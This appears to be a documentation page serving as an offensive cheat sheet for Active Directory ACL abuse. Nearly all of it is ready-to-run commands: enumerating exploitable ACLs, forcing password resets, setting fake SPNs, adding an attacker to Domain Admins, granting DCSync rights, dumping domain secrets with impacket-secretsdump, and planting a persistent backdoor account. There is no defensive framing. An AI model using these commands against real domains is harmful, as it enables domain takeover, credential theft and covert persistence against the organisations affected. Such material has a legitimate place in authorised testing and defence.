Documentation IndexFetch the complete documentation index at: /llms.txtUse this file to discover all available pages before exploring further.
Fetch the complete documentation index at: /llms.txt
Use this file to discover all available pages before exploring further.
Active Directory ACL abuse: GenericAll, WriteDacl, ForceChangePassword, and DACL persistence.
Find-InterestingDomainAcl -ResolveGUIDs Get-ObjectAcl -SamAccountName USER -ResolveGUIDs Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner"}
Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force)
net rpc password targetuser 'NewPass123!' -U 'DOMAIN/attacker%password' -S DC_IP
Set-DomainObject -Identity targetuser -SET @{serviceprincipalname='fake/spn'}
Add-DomainGroupMember -Identity "Domain Admins" -Members attacker net group "Domain Admins" attacker /add /domain
# RBCD Set-ADComputer TARGET$ -PrincipalsAllowedToDelegateToAccount EVIL$
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity attacker -Rights DCSync
impacket-secretsdump DOMAIN/attacker:password@DC_IP
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity attacker Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity attacker -Rights All Add-DomainGroupMember -Identity "Domain Admins" -Members attacker
Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'NewPass!' -AsPlainText -Force)
rpcclient -U 'attacker%password' DC_IP -c "setuserinfo2 targetuser 23 'NewPass!'"
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity backdoor_user -Rights DCSync
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity backdoor_user -Rights All